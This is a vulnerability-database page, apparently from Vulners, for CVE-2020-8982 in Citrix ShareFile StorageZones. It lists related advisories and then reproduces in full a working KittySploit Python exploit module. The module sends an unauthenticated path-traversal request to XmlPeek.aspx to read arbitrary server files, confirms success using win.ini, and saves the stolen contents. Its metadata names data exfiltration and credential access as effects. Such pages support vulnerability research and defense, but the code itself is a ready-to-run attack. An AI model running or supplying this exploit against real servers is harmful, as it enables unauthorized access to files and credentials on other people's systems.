Citrix ShareFile File Read (CVE-2020-8982)
| Reporter | Title | Published | Views | Family All 24 |
|---|---|---|---|---|
| CVE-2020-8982 | 7 May 202014:15 | – | attackerkb | |
| CVE-2020-8982 | 23 Dec 202500:00 | – | circl | |
| ShareFile Documents Unauthenticated Access (CTX269106) | 2 Jun 202000:00 | – | nessus | |
| ShareFile Documents Unauthenticated Access (CVE-2020-7473) | 2 Jun 202000:00 | – | nessus | |
| Citrix Systems Citrix ShareFile storage zones Controller path traversal vulnerability (CNVD-2020-41790) | 7 May 202000:00 | – | cnvd | |
| Citrix ShareFile storage zones Controller multiple security updates | 5 May 202004:00 | – | citrix | |
| CVE-2020-8982 | 7 May 202013:55 | – | cve | |
| CVE-2020-8982 | 7 May 202013:55 | – | cvelist | |
| CTX-CVE-2020-7473 | 8 Oct 202613:57 | – | kitploit | |
| Citrix ShareFile StorageZones <=5.10.x - Arbitrary File Read Detection | 28 Jul 202611:27 | – | kittysploit |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Citrix ShareFile StorageZones file read (CVE-2020-8982)."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Exploit, Http_client):
__info__ = {
'name': 'Citrix ShareFile File Read (CVE-2020-8982)',
'description': (
'Exploits CVE-2020-8982 in Citrix ShareFile StorageZones <=5.10.x: unauthenticated '
'arbitrary file read via XmlPeek.aspx path traversal.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2020-8982'],
'platform': Platform.WINDOWS,
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2020-8982'],
'tags': ['citrix', 'sharefile', 'lfi', 'vkev'],
'agent': {
'risk': 'high',
'effects': ['data_exfiltration', 'credential_access'],
'expected_requests': 2,
'reversible': True,
'approval_required': True,
'produces': ['file_read'],
'chain': {'suggested_followups': ['scanner/http/cve_2020_8982_detect']},
},
}
file_path = OptString('Windows/win.ini', 'Remote path (Windows style)', required=True)
output_file = OptString('', 'Local output file', required=False)
def _path(self, remote: str) -> str:
depth = r'\\..\\' * 8
target = remote.replace('/', '\\').lstrip('\\')
return f'/XmlPeek.aspx?dt={depth}{target}&x=/validate.ashx?requri'
def execute(self, remote_path: str) -> str:
r = self.http_request(method='GET', path=self._path(remote_path), allow_redirects=False)
return (r.text or '') if r and r.status_code == 200 else ''
def check(self):
body = self.execute(str(self.file_path or 'Windows/win.ini'))
if all(m in (body or '') for m in ('bit app support', 'fonts', 'extensions')):
return {'vulnerable': True, 'reason': 'ShareFile XmlPeek traversal confirmed', 'confidence': 'high'}
return {'vulnerable': False, 'reason': 'ShareFile LFI failed', 'confidence': 'medium'}
def run(self):
if not self.check().get('vulnerable'):
print_error('Citrix ShareFile not vulnerable')
return False
body = self.execute(str(self.file_path or 'Windows/win.ini'))
out = str(self.output_file or '').strip()
if out:
with open(out, 'w', encoding='utf-8', errors='replace') as fh:
fh.write(body)
print_success(f'Saved to {out}')
else:
print_success(body[:4000])
return True
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Oct 2026 14:20Current
7.8High risk
Vulners AI Score7.8
CVSS 25
CVSS 3.17.5
EPSS0.27149